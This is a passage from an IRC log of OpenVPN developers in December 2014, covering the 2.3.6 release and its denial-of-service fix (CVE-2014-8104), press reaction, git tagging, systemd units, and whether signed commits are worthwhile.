--enable-save-password - but I've not seen a patch yet :-) - who volunteers? 10:01 <@cron2> ... and why on earth are we calling our defaults in configure "default=no/yes", instead of "default=enabled/disabled"? 10:05 <@plaisthos> perhaps that is the way to go :D 10:05 <@plaisthos> it is autoconf after all 10:06 <@cron2> haha, yes :-) 10:08 <@plaisthos> when was our planned release? 10:08 <@cron2> 2.3.6? monday, 20:00 european time 10:08 <@plaisthos> ah :) 10:09 <@cron2> (initial plan was thursday, but that was thanksgiving so people vetoed) 10:11 <@syzzer> cron2: I actually started on the patch to remove --enable-ssl today :) 10:12 <@cron2> syzzer: heh :-) 10:16 <@cron2> syzzer: does --disable-ofb-cfb actually work? The autoconf magic confuses me, but all other stuff --disable-foo has enable_foo="yes" in the code, while this one has --disable-ofb-cfb and enable_*crypto*_ofb_cfb=yes 10:16 <@cron2> (commiting dazo's patch just now, and staring at the diff...) 10:17 <@syzzer> cron2: I'd have to check, but sounds like I made a typo there... 10:17 <@cron2> nah 10:17 <@cron2> I think it does work (because the variable just ends up being unset, but that is the default in either case) 10:18 <@cron2> well 10:18 <@cron2> the generated shell code confuses me 10:57 <@syzzer> cron2: patch on the list :) (31 files changed, 79 insertions(+), 232 deletions(-)) 10:59 <@syzzer> (btw, my t_client fails on the IPv4 pings of "test run 3: 'udp / p2pm / top subnet'", networking issues again?) 11:00 <@cron2> syzzer: uh, I think I might have broken the server :) 11:01 <@cron2> could you retry that test? 11:02 <@cron2> (I was debugging trac #481 and fiddled with ifconfig, but forgot the /24 route it seems) 11:02 <@cron2> "remove to runtime option" :) (but that doesn't warrant a v2) 11:05 <@syzzer> ah, damn, feel free to fix while applying :) 11:05 <@syzzer> new run test starting... 11:06 <@cron2> yeah, there's actually another typo in the commit message :) 11:09 * cron2 tests compiling 2.2+patches... :) 11:10 <@cron2> git is fairly amazing in cherrypicking hunks of src/openvpn/syshead.h (master) to quite a different line in ./syshead.h (2.2) 11:11 <@syzzer> it gets that? 11:11 <@cron2> yep 11:11 <@cron2> cherry-picked 3e86f688757529f8b33f9e6b49e31ba8d8564c5e to release/2.2 just fine 11:16 <@syzzer> test 3 succeeds again :) 11:16 <@cron2> good :) sorry for breaking it 11:17 <@cron2> *sigh* stupid new autoconf versions hiding the results of "make check" 11:24 <@cron2> and 2.2 is so full of unfixed warts... of course all IPv6 stuff is not working (no IPv6 in 2.2), but stuff like "--dev tun3" not working on linux either... 11:31 <@cron2> yeah, and the socks proxy test fails because of my messed-up network at home (still!) 11:59 <@cron2> ok, I'm *so* not cherry-picking 25f4d4b49bff342fd9dd54cd22f14c9de49e9f8b to 2.2 12:10 <@syzzer> heh, I can image, all that code was completely reworked... 12:11 <@syzzer> although I would expect some sslopt in 2.2 too 12:14 <@cron2> no... it directly sets some stuff 12:14 <@cron2> /* Set SSL options */ 12:14 <@cron2> SSL_CTX_set_session_cache_mode (ctx, SSL_SESS_CACHE_OFF); 12:14 <@cron2> SSL_CTX_set_options (ctx, SSL_OP_SINGLE_DH_USE); 12:14 <@cron2> (in ssl.c) 12:15 <@cron2> yeah, I could have patched it, but decided that it's just too much effort 16:00 -!- mattock is now known as mattock_afk 16:16 -!- mattock_afk is now known as mattock 16:35 <@mattock> almost forgot to send the heads up on today's / tomorrow's openvpn release... 16:48 -!- mattock is now known as mattock_afk 16:59 <@plaisthos> :) 16:59 <@plaisthos> I am just getting to release a updated version of my app tommorow too --- Day changed Mon Dec 01 2014 00:51 -!- mattock_afk is now known as mattock 02:14 <@cron2> uh. 18:00 UTC is not 20:00 local time... 02:14 <@cron2> (and I wouldn't really call that "critical"...) 02:15 < lev__> hey, about mentioned DDOS, could you provide more details (maybe by mail)? 02:15 <@cron2> nothing "D" here :) 02:16 < lev__> :%s/dd/d/g 02:16 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has joined #openvpn-devel 02:25 -!- Hes [Mxgg@tunkki.fi] has joined #openvpn-devel 03:11 <@plaisthos> It is going to be the end of world 03:11 <@plaisthos> I heard 03:11 <@plaisthos> :) 03:17 <@plaisthos> do we have a CVE assigned already? 03:22 <@syzzer> plaisthos: yes 03:25 <@syzzer> cron2: timezones, almost as confusing as autoconf... ;) 03:25 <@plaisthos> hehe :) 03:26 <@plaisthos> When I was in school we managed to have an overnight ferry to England during the time change 03:26 <@plaisthos> nobody bloody hell of us now if we had to change the clock forward backward and how many hours 03:31 <@cron2> plaisthos: CVE-2014-8104 03:47 <@mattock> I hope that's not yet public 03:51 <@plaisthos> ** RESERVED ** This candidate has been reserved by an organization or individual that will use it when announcing a new security problem. When the candidate has been publicized, the details for this candidate will be provided. 03:52 <@mattock> good 03:54 <@mattock> added a stub page here: https://community.openvpn.net/openvpn/wiki/SecurityAnnouncement-97597e732b 03:54 <@vpnHelper> Title: SecurityAnnouncement-97597e732b – OpenVPN Community (at community.openvpn.net) 04:07 <@mattock> all is pretty much set for the release 04:55 <@mattock> syzzer: sent you a draft of the Trac wiki page describing the vulnerability 05:32 -!- mattock is now known as mattock_afk 06:07 <@plaisthos> workaround: Use pidgeons and paper :D 06:12 <@syzzer> mattock_afk: looking at it now 06:23 -!- mattock_afk is now known as mattock 06:26 -!- dazo_afk is now known as dazo 08:07 <@vpnHelper> RSS Update - tickets: #487: Buy Online Supplements Lipo 13 Pills For Fat Loss <https://community.openvpn.net/openvpn/ticket/487> 08:13 <@plaisthos> cron2: next the user will complain that you cannot disable ENABLE_SSL because needs that feature and is using tcp-server! 09:04 <@plaisthos> cron2: btw. a ip rule/ip table show dump from a Nexus9 device http://pastebin.com/kZcDVJM1 09:05 <@plaisthos> there are probably some more iptables rules, I cannot see without rootingthe device 09:16 <+krzee> <ValdikSS> So what's about this new security issue? Is it affecting only OpenVPN server which dies, or the whole system? 09:16 <+krzee> did i miss something? 09:22 <@syzzer> krzee: https://community.openvpn.net/openvpn/wiki/SecurityAnnouncement-97597e732b 09:22 <@vpnHelper> Title: SecurityAnnouncement-97597e732b – OpenVPN Community (at community.openvpn.net) 09:23 <+krzee> thanks 09:49 -!- mattock is now known as mattock_afk 10:41 <+krzee> what is the point of an announcement that announces a coming announcement of a vulnerability? 10:44 <@plaisthos> krzee: that you get ready to patch your installation 11:00 -!- mattock_afk is now known as mattock 11:57 -!- kang [~kang@rsbac/developer/kang] has quit [Ping timeout: 244 seconds] 12:02 <@vpnHelper> RSS Update - gitrepo: autotools: Fix wrong ./configure help screen default values <https://github.com/OpenVPN/openvpn/commit/104360b4f40a4ba29987d9478aed70450fec75a2> || Drop too-short control channel packets instead of asserting out. <https://github.com/OpenVPN/openvpn/commit/c5590a6821e37f3b29735f55eb0c2b9c0924138c> 12:03 <@cron2> yay, auto-release! 12:03 <@cron2> (I wasn't sure whether I'm actually here at 18:00 UTC, so set up ssh-agent with keys and scheduled a "git push-all" :) ) 12:04 <@plaisthos> :D 12:06 <@cron2> so, cat is out of the bag. where are the announcements and the tarballs? :) 12:06 <@syzzer> openvpn-nl packages and tarballs are out 12:06 <@cron2> \o/ 12:06 <@syzzer> waiting with the mail till the announcement is updated 12:06 <@syzzer> (the wiki page, that is) 12:10 <@mattock> http://openvpn.net/index.php/download/community-downloads.html 12:10 <@vpnHelper> Title: Community Downloads (at openvpn.net) 12:10 <@mattock> I'll send the announcements next 12:10 <@mattock> then debian packages 12:11 <@plaisthos> I updated my client too 12:11 <@plaisthos> (although you can kill the client with OCC_EXIT anyway) 12:12 <+krzee> mattock, a bracket [ hopped into the trac wiki link on downloads page 12:12 <+krzee> ] rather 12:12 <@mattock> ok, fixing 12:12 <@mattock> thanks1 12:12 <+krzee> np 12:13 <@mattock> fixed 12:42 <@mattock> argh guys 12:43 <@mattock> you committed something to the OpenVPN repo and now my VM which I'd need to test 2.3.6 debian packages is slow as molasses 12:43 <@mattock> :P 12:43 <@mattock> because there are 5-6 openvpn builds going on on the server 12:43 <@mattock> well, yeah, one of the commit needs to be there definitely 12:48 <@syzzer> mattock: one of the guys in #openvpn made a good remark that 'authenticated client' actually means just 'tls-authenticated', not user/pass authenticated 12:48 <@syzzer> is it okay if I update the trac page? 12:49 <@cron2> mattock: well, yes, this is what I do "commit stuff" :) 12:49 <@mattock> yeah 12:49 <@mattock> cron2: yeap :) 12:49 <@mattock> forgot all about the patch fixing the vuln :D 12:49 <@cron2> (and I thought the point of the scheduled release was to, uh, commit :) ) 12:50 <@dazo> syzzer: what about those using --client-cert-not-required? 12:50 <@plaisthos> dazo: screeewed! 12:50 <@plaisthos> *ducks* 12:50 <@dazo> hahaha 12:51 <@mattock> ok, my ubuntu-1204-amd64 buildslave is dead meat... 12:51 <@syzzer> dazo: the wiki page actually covers that by stating "Thus both client certificates and TLS auth will protect against this exploit as long as all OpenVPN clients can be trusted to not be compromised and/or malicious." 12:51 <@mattock> need to rebuild it or replace it with the -i386 version 12:52 <@dazo> syzzer: with --client-cert-not-required ... there are client certificates, only server certs 12:52 <@syzzer> dazo: exactly. so no client-cert to protect your server. 12:54 <@dazo> okay, my blood sugar level is way too low now (was on the way out for food) ... but I don't understand how no client-cert protects the server 12:54 <@cron2> it doesn't 12:54 <@dazo> right 12:54 <@cron2> that's why "19:50 <@plaisthos> dazo: screeewed!" 12:54 <@dazo> okay ... I misunderstood the "so no client-cert" :) 12:57 <@syzzer> dazo: hmm, I see how that can be misread... I'll add an explicit notice to the wiki page, since also a dazo on low blood suger levels should be able to understand it ;) 13:11 <@mattock> I'll upgrade the community LDAP server from 2.1.3 to 2.3.6 13:15 <@cron2> you're running *what* there? 13:16 <@mattock> it's debian 6, which has that version 13:16 <@mattock> unfortunately the upgrade did not seem to work 13:16 <@mattock> could be due to the ldap plugin not working with 2.3.6 13:16 <@mattock> had to revert back for now 13:20 <@mattock> problem solved 13:48 <@dazo> syzzer: heh ... thx! :) 13:48 <@mattock> is the CVE public already? 14:03 <@dazo> mattock: In the CVE database, you mean? 14:03 <@mattock> yes, like "publicly viewable" 14:06 <@dazo> I haven't spotted it yet ... but it might take a little while, I guess this is coordinated somehow with the SRT guys in RH, as it was RH arranging the CVE 14:09 <@dazo> It will show up in cve.mitre.org and nvd.nist.gov 14:10 <@dazo> https://bugzilla.redhat.com/show_bug.cgi?id=1166910 14:10 <@vpnHelper> Title: Bug 1166910 CVE-2014-8104 openvpn: authenticated user can DoS OpenVPN by sending a too-short control channel packet to server (at bugzilla.redhat.com) 14:21 -!- CivisUS [~CivisUS@208.80.0.1] has joined #openvpn-devel 14:38 -!- kef [~kef@matrix.fullmotion.de] has left #openvpn-devel ["kef"] 14:56 <@plaisthos> http://blog.fefe.de/?ts=aa829218 14:56 <@plaisthos> ;) 14:56 <@vpnHelper> Title: Fefes Blog (at blog.fefe.de) 14:57 <@plaisthos> syzzer: and appearently Fox It is an evil trojan house (http://blog.fefe.de/?ts=aa8900a3) 14:57 <@vpnHelper> Title: Fefes Blog (at blog.fefe.de) 14:59 <@cron2> we should not have called it "critical"... 15:00 <@syzzer> plaisthos: he seems to be very convinced of that :( 15:01 <@cron2> if I look at the amount of patches Fox has smuggled into OpenVPN, that Must Be True!!! 15:01 <@plaisthos> syzzer: but it is fefe 15:01 <@plaisthos> In germany his blog is often called Bild Zeitung für Hacker 15:02 <@plaisthos> Bild Zeitung is the german equivalent of The Sun 15:02 <@syzzer> exactly, but people read that stuff, and then I have to explain why he is wrong... 15:04 <@plaisthos> syzzer: I guess that really sucks :/ 15:04 <@syzzer> anyway, I agree with cron2 - 'critical' was probably too strong 15:04 * plaisthos agrees too 15:04 <@syzzer> plaisthos: meh, I manage ;) 15:04 <@plaisthos> the main reason I updated my client is because people cannot read and freak out when security patches happen 15:05 <@plaisthos> like with last OpenSSL stuff which did not affect OpenVPN 15:05 <@plaisthos> 1.0.1j or whatever it was called 15:25 <@mattock> ok so Fox-IT smuggled in this vulnerability, even though the vulnerability has probably existed longer than Fox-IT? :P 15:29 <@cron2> mattock: very clever smuggling! 15:32 <@dazo> so called stealth hacking 15:32 <@dazo> it happens before you know it happens 15:35 -!- Netsplit *.net <-> *.split quits: ender|, @syzzer, Hes, Haigha 15:35 <@plaisthos> mattock: since when do reason work when you want something!? 15:59 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has quit [Ping timeout: 272 seconds] 16:03 <@cron2> now THEY got him 16:05 -!- mattock is now known as mattock_afk 16:08 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 16:08 -!- mode/#openvpn-devel [+o plaisthos] by ChanServ 16:33 -!- ender| [krneki@foo.eternallybored.org] has joined #openvpn-devel 16:46 -!- Haigha [~root@dovahkiin.xomg.net] has joined #openvpn-devel 16:47 -!- dazo is now known as dazo_afk 17:00 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 17:00 -!- mode/#openvpn-devel [+o syzzer] by ChanServ 17:16 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has quit [Remote host closed the connection] 18:18 -!- texsantos [~tex@c-68-58-222-147.hsd1.sc.comcast.net] has joined #openvpn-devel 18:19 -!- texsantos [~tex@c-68-58-222-147.hsd1.sc.comcast.net] has left #openvpn-devel [] 18:24 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 18:24 -!- mode/#openvpn-devel [+o syzzer] by ChanServ 18:49 -!- EvilJStoker [jstoker@unaffiliated/jstoker] has quit [Ping timeout: 272 seconds] 18:50 -!- EvilJStoker [jstoker@unaffiliated/jstoker] has joined #openvpn-devel 21:46 <@ecrist> http://www.theregister.co.uk/2014/12/02/openvpn_critical_denial_of_service_vulnerability/ 21:46 <@vpnHelper> Title: OpenVPN plugs DoS hole • The Register (at www.theregister.co.uk) --- Day changed Tue Dec 02 2014 00:11 -!- mattock_afk is now known as mattock 02:34 <@syzzer> I'm guessing the 2.0.11 they are talking about is AS? 02:40 <@cron2> sounds ASish, I don't think James ever did a 2.0.11 release for the community version 03:00 <@plaisthos> hat a strange article 03:00 <@plaisthos> +w 03:00 <@plaisthos> "So far VPN providers CryptoStorm and Perfect Privacy have patched." 03:02 <@syzzer> the register is not exactly known for their quality news :p 03:16 * cron2 is sure, PrivateTunnel has patched as well :) 03:51 -!- dazo_afk is now known as dazo 03:55 <@plaisthos> the remark about client is nonsense anyway :) 03:56 <@plaisthos> since you don't need to crash a client to exit, you can send OCC_EXIT and get the same result 04:23 <@dazo> and servers "DoSing" clients may just as well be justified for other reasons ;-) 04:32 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has quit [Quit: Leaving.] 04:37 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has joined #openvpn-devel 05:30 <@plaisthos> http://www.heise.de/newsticker/meldung/Kritische-Luecke-legt-OpenVPN-Server-lahm-2472178.html 05:30 <@vpnHelper> Title: Kritische Lücke legt OpenVPN-Server lahm | heise online (at www.heise.de) 05:31 <@plaisthos> We shouldn't have called it critical 05:31 <@plaisthos> now everyone calls it critical 05:51 <@cron2> the heise.de article isn't bad, besides that 05:59 <@syzzer> mattock: (re heise), the changelog page they refer to is not updated yet: https://community.openvpn.net/openvpn/wiki/ChangesInOpenvpn23 05:59 <@vpnHelper> Title: ChangesInOpenvpn23 – OpenVPN Community (at community.openvpn.net) 06:00 <@mattock> syzzer: ok, fixing 06:02 <@dazo> maybe we shouldn't have called it critical, when comparing to what other define as critical ... but we have actually raised the bar on security standards for OpenVPN when we define this "not so critical" issue critical 06:02 <@mattock> done 06:03 <@dazo> (meaning that: when even only tls-authenticated users may Dos the server is defined as critical, that tells something about the security ambitions we have for OpenVPN) 06:12 <@cron2> so how would you classify a "unauthenticated remote user can execute arbitrary code" vulnerability now? 06:12 <@cron2> super-hyper-critical? 07:20 <@dazo> also critical 07:41 <@plaisthos> the heise article actually mentions details not found in the announcement 07:44 <@cron2> these folks are quite good in actually looking at patches and thinking about it :) 08:12 -!- harshar [~harsh@202.3.77.215] has joined #openvpn-devel 10:06 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has quit [Ping timeout: 258 seconds] 10:10 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 10:10 -!- mode/#openvpn-devel [+o plaisthos] by ChanServ 10:11 -!- lev__ [~lev@stipakov.com] has quit [Remote host closed the connection] 10:42 -!- lev__ [~lev@stipakov.fi] has joined #openvpn-devel 11:02 -!- harshar [~harsh@202.3.77.215] has quit [Ping timeout: 264 seconds] 13:01 -!- floppym [~quassel@gentoo/developer/floppym] has joined #openvpn-devel 13:02 < floppym> Hello. Could someone please push tags to github? v2.3.6 is missing. 13:05 <@syzzer> cron2: ping 13:05 <@syzzer> v2.3.6 tag seems to be missing indeed 13:05 <@plaisthos> or dazo: ping 13:07 <@dazo> sorry, cron2 is the one who must do the push with --tags ... I believe he have the tags handy, it's just the missing public push 13:09 <@dazo> The one who does the release (changelog + version.m4 updates) should also normally do the tagging.. And it would surprise me a lot if cron2 didn't do this step. 13:09 < floppym> Yeah, having to push tags separately is one annoying part of git. 13:10 < floppym> Easy to forget. 13:49 <@cron2> meh, grrr 13:50 <@cron2> it's all tagged, I just forgot that you need to do "push --tags" 13:51 <@cron2> (besides, dazo could have done it, as we had a "pre-release" repo *with* the tags in it!) 13:51 <@dazo> ouch ... where's that repo? 13:51 <@cron2> * [new tag] v2.2.3 -> v2.2.3 13:51 <@cron2> * [new tag] v2.3.6 -> v2.3.6 13:51 <@cron2> dazo: in your mail... :) 13:51 <@dazo> ahh ... forgot about that :/ 13:52 <@cron2> mattock and syzzer built from there, so everything *there* was all-right (on my second try, on the first try, I pushed the tag, but not the actual commit the tag was referring to... *rolleyes*) 13:52 <@cron2> floppym: sorry, fixed now 13:55 < floppym> cron2: Thanks. 13:56 <@cron2> mattock: are you uploading the windows snapshot builds already? I see that your buildslave is happy with them :-) 14:00 <@cron2> dazo: could you ack+merge+push floppym's patch? "this is yours to fix" :-) 14:00 <@cron2> floppym: yeah, thanks 14:01 <@plaisthos> cron2: dman you beat me by a few secs, I also came here to ping dazo 14:01 <@cron2> haha ;-) 14:02 <@dazo> I'll do it right now! 14:03 < floppym> Much easier for distros to use if it actually shows up in the tarball. ^_^ 14:12 <@plaisthos> floppym: fair point 14:12 * plaisthos hash no idea how to build a tarball from git :D 14:13 < floppym> git archive if you just want the source files without autotools-generated cruft. make dist if you want the cruft. 14:18 <@mattock> cron2: not uploading yet, it's on my todo 14:46 <@vpnHelper> RSS Update - gitrepo: Include systemd units in the source tarball (make dist) <https://github.com/OpenVPN/openvpn/commit/6ece60c6dc7a3cda58f4dfea4e6cd3016023234f> 14:48 <@dazo> floppym: thx a lot for your patches ... and your review comments! You may feel free to be more brave on the ML with ACKs on patches :) 14:48 <@dazo> especially on systemd stuff ... as we're few developers who are active on that particular area 14:53 -!- harshar [~harsh@202.3.77.215] has joined #openvpn-devel 15:04 -!- mattock is now known as mattock_afk 15:14 -!- harshar [~harsh@202.3.77.215] has quit [Ping timeout: 264 seconds] 15:16 <@vpnHelper> RSS Update - gitrepo: Really fix '--cipher none' regression <https://github.com/OpenVPN/openvpn/commit/98156e90e1e83133a6a6a020db8e7333ada6156b> 15:31 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has quit [Remote host closed the connection] 15:32 < floppym> dazo: Any thoughts on this bug report? Specifically regarding %i versus %I https://bugs.gentoo.org/show_bug.cgi?id=527614 15:32 <@vpnHelper> Title: Bug 527614 systemd service file fix for net-misc/openvpn (at bugs.gentoo.org) 15:52 -!- CivisUS [~CivisUS@208.80.0.1] has quit [Quit: Textual IRC Client: www.textualapp.com] 17:01 * dazo looks 17:05 <@dazo> floppym: I'm leaning towards this being a bug in systemd ... if I read the man page correctly (regarding to both %i and %I) 17:06 <@dazo> I did some research when deciding for %i/%I ... and I believe I based this usage on upstream systemd standards .... if I've done it wrong (from upstream systemd point of view), then we should correct that 18:10 < floppym> dazo: Yeah, it's kind of strange; systemctl enable doesn't escape hyphens, but does escape parens and other characters. 19:00 -!- dazo is now known as dazo_afk --- Day changed Wed Dec 03 2014 00:56 -!- mattock_afk is now known as mattock 02:17 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has joined #openvpn-devel 02:20 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has quit [Client Quit] 02:23 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has joined #openvpn-devel 02:40 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has quit [Quit: Leaving.] 04:39 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has joined #openvpn-devel 04:40 -!- dazo_afk is now known as dazo 06:39 -!- harshar [~harsh@202.3.77.215] has joined #openvpn-devel 07:19 -!- harshar [~harsh@202.3.77.215] has quit [Ping timeout: 255 seconds] 07:34 <@cron2> whee... count_netmask_bits()... why, oh why... "we have an in_addr_t, convert that to a string, parse that with snprintf(), and use that to count bits in the netmask" 07:35 <@cron2> count_netmask_bits(print_in_addr_t (tt->remote_netmask,0,&gc)) 07:36 * cron2 shivers 07:36 <@cron2> used in exactly 4 places, and all have the in_addr_t form available... 07:39 -!- harshar [~harsh@202.3.77.215] has joined #openvpn-devel 08:05 <@plaisthos> :D 08:05 <@plaisthos> and we the cool magic count netmask bits function 08:06 <@plaisthos> or whatever it was that did the magic shifting + adding 09:07 <@cron2> after sscanf(), it uses the cool magic count function, yes :) 09:28 -!- dazo is now known as dazo_afk 10:26 -!- dazo_afk is now known as dazo 10:32 <@cron2> ecrist: could you occasionally update openvpn-devel, please? :) 10:47 -!- harshar [~harsh@202.3.77.215] has quit [Ping timeout: 272 seconds] 10:48 -!- harshar [~harsh@202.3.77.215] has joined #openvpn-devel 11:10 -!- harshar [~harsh@202.3.77.215] has quit [Ping timeout: 264 seconds] 11:11 -!- harshar [~harsh@202.3.77.215] has joined #openvpn-devel 11:29 -!- harshar [~harsh@202.3.77.215] has quit [Ping timeout: 245 seconds] 11:53 * ecrist grumbles 11:53 <@ecrist> I suppose. 11:53 <@ecrist> it used to be scripted, but I broke everything 11:53 <@ecrist> rather, the ports team broke everything 12:09 <@dazo> hmm ... git 2.2.0 is out ... with cool new features, such as signed push ... https://developer.atlassian.com/blog/2014/12/git-2-2-0-released/ 12:09 <@vpnHelper> Title: Atlassian Developers (at developer.atlassian.com) 13:40 <@ecrist> what utility installs aclocal? 13:42 <@ecrist> nm 13:42 <@ecrist> now I'm seeing this error: 13:43 <@ecrist> configure.ac:394: error: possibly undefined macro: AC_LIBTOOL_WIN32_DLL If this token and others are legitimate, please use m4_pattern_allow. See the Autoconf documentation. 13:43 <@ecrist> configure.ac:395: error: possibly undefined macro: AC_LIBTOOL_RC 13:43 <@ecrist> configure.ac:396: error: possibly undefined macro: AC_PROG_LIBTOOL 13:43 <@ecrist> autoreconf-2.69: /usr/local/bin/autoconf-2.69 failed with exit status: 1 13:49 * cron2 runs "autoreconf -vif" with autoconf+automake installed and that doesn't bomb 14:00 <@ecrist> ok 14:03 <@ecrist> awesome, thanks 14:04 <@ecrist> cron2: if you're in a rush, at this point you can edit the Makefile in the port for 201449 14:05 <@ecrist> I'll submit the port update shortly 14:11 <@ecrist> https://bugs.freebsd.org/bugzilla/show_bug.cgi?id=195651 submitted 14:11 <@vpnHelper> Title: Bug 195651 ports: security/openvpn-devel - update to latest version (at bugs.freebsd.org) 14:14 * cron2 is not in a rush :) 14:26 -!- mattock is now known as mattock_afk 14:27 <@cron2> how does "git commit -gpg-sign" work in practice? aka, where is the signature stored? 14:50 <@dazo> Probably in a separate signature blob in the git tree ... haven't dug into the details, but will upgrade and test it out 14:51 -!- dazo is now known as dazo_afk 15:17 <@syzzer> hmm, I think signing tags makes sense, but commits or pushes...? 15:53 <@cron2> commits I could see ("yes, this was really who --author claims it to be"), but pushes, I fail to see a viable attack scenario that would not be noticed really soon (when the commits do not match) 17:39 <@pekster> Torvalds had a nice (on-the-money) rant a while back about why per-commit signatures are worthless. Signing tags is useful, and it gaurentees history since all earlier hashes are implied. But individual commits are fairly meaningless 19:47 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has quit [Ping timeout: 258 seconds] 20:01 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has joined #openvpn-devel 21:52 < snappy> i should look into this talk, but if you sign tags rather than individual commits, are you reducing the granularity (and likewise overhead) of what is actually trusted. 21:54 <@pekster> Not really. The openvpn commit model has patches submitted/reviews on the mailing list, then someone authorized commits them to -master, and then they'll get cherry-picked into a release branch which will eventually become part of a release. Thus commits would be signed by a small handful of people who are likely already using ssh keys to send to github anyway 21:55 <@pekster> It might be different if the transport was untrusted, but even github can't just "change" code since that was invalidate the hashes the maintainers had and be known as a fraud right away --- Day changed Thu Dec 04 2014 02:29 -!- dazo_afk is now known as dazo 02:33 -!- mattock_afk is now known as mattock 02:35 <@dazo> An attack vector is if the public repository is compromised, then anyone can do pushes with your --author credentials 02:37 <@dazo> however, since we push to both sf.net and github, users can actually verify the authenticity somewhat better .... I do have a private/non-public git repo I also push to, to detect if something has happened 02:37 <@dazo> and ... we have all patches on the ML, so in worst case, it is possible to detect unknown patches by some clever scripting 02:38 <@dazo> but signed commits will actually raise the bar of false --author in commits 02:39 <@dazo> http://mikegerwitz.com/papers/git-horror-story 02:39 <@vpnHelper> Title: A Git Horror Story: Repository Integrity With Signed Commits (at mikegerwitz.com) 03:07 <@syzzer> dazo: in our case it's just you and cron2 pushing to the repo, so you are pretty well informed 03:08 <@syzzer> as long as you sign the tags, all other commits are protected by the sha1-chain 03:08 <@dazo> but that's only the chain resulting in a tag ... it doesn't protect master 03:08 <@syzzer> well, as soon as there's a 2.4-something, it is :) 03:10 <@dazo> if a commit with a commit subject matching something we've discussed on the ML ... and I see that it's been Acked-by cron2 ... I can even double check if the committer is cron2 ... but that doesn't mean it was cron2 really doing the commit and pushed it out .... likewise, when I push out something, can cron2 really know it was me pushing it? 03:11 <@dazo> and with pushing, I mean pushing to master ... where there are no tags added to it 03:12 <@dazo> s/^if a commit/if I commit/ 03:13 -!- mattock is now known as mattock_afk 03:34 -!- mattock_afk is now known as mattock 03:48 <@cron2> dazo: true, but otoh, since I mail my commit-ids to the list, verifying the push is fairly easy even if it's not signed. So it's not as crucial. Now, if we had a huge number of people with direct write access and someone trying to sneak in something (like, "not trusted committers")... but we don't have that :-) 03:51 <@syzzer> also, I wonder how it would fit our current patch-ack-commit process, since I guess commit messages are signed too? 03:59 <@cron2> good point, yes. It's "git commit -gpg-sign", so one would have to add an extra "git commit -amend -gpg-sign" or such... 04:00 <@cron2> (if I were to sign something you committed, to verify "yes, I did that!") 08:30 <@plaisthos> Dec 4 15:28:49 hermes ovpn-udp[30427]: peer 0 floated from 80.187.100.229:26999 to [AF_INET]131.234.246.134:1194 08:30 <@plaisthos> I wonder why we use different format for the first and second IP 09:38 -!- dazo is now known as dazo_afk 10:15 -!- krzie [~k@openvpn/community/support/krzee] has joined #openvpn-devel 10:15 -!- mode/#openvpn-devel [+v krzie] by ChanServ 10:18 -!- krzee [~k@openvpn/community/support/krzee] has quit [Ping timeout: 265 seconds] 10:18 -!- roentgen [~none@openvpn/community/support/roentgen] has quit [Ping timeout: 265 seconds] 10:18 -!- _bt [~bt@unaffiliated/bt/x-192343] has quit [Ping timeout: 265 seconds] 10:19 -!- krzie is now known as krzee 10:19 -!- roentgen [~none@openvpn/community/support/roentgen] has joined #openvpn-devel 10:19 -!- mode/#openvpn-devel [+v roentgen] by ChanServ 12:27 <@cron2> plaisthos: different data structures and different printers...? But maybe we just need to call it with the right flags... 13:18 <@pekster> Hmm, some reasonable points about commits to -master wrt. signing. I guess I file that under "pretty unlikely" since it means either 1) your ssh pubkey creds or github password have been compromised and you didn't notice the sha1 commits you didn't actually make, or 2) the repo is compromized and we also didn't notice all of "your" (not really you) evil commits. But sure, meanwhile unsuspecting users, CI builds, etc are pulling ... 13:18 <@pekster> ... the nastyness 13:19 <@pekster> On a related note, github's OATH 2FA is rather neat, and easy to use with the google authenticator app to protect non-ssh logins 14:49 -!- mattock is now known as mattock_afk 15:45 -!- mattock_afk is now known as mattock 15:59 -!- mattock is now known as mattock_afk 21:43 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has quit [Ping timeout: 272 seconds] 21:44 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 21:44 -!- mode/#openvpn-devel [+o syzzer] by ChanServ 22:55 -!- andj [~adriaan@openvpn/community/developer/andj] has quit [Ping timeout: 264 seconds] --- Day changed Fri Dec 05 2014 01:13 -!- mattock_afk is now known as mattock 02:08 <@cron2> mornin' 02:14 <@syzzer> mornin' 02:15 <@syzzer> don't speak too loud, or Hooman might get angy again :') 02:15 <@syzzer> *angry 02:15 <@d12fk> i already LOLd today about the shut up mail 02:26 <@syzzer> ^^ exactly 02:28 <@cron2> must.not.reply... 04:11 -!- dazo_afk is now known as dazo 05:17 <@vpnHelper> RSS Update - tickets: #488: reading memory beyond array bounds error in src/openvpn/socket.c <https://community.openvpn.net/openvpn/ticket/488> 05:33 <@syzzer> oh, wow... 05:34 <@syzzer> that is some magic code 06:21 <@cron2> syzzer: what, ticket #488? That's just the normal sockaddr madness 06:21 <@cron2> ask plaisthos why he wakes up screaming some nights 06:24 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has quit [Quit: Leaving.] 06:25 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has joined #openvpn-devel 06:26 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has quit [Client Quit] 06:27 -!- reators 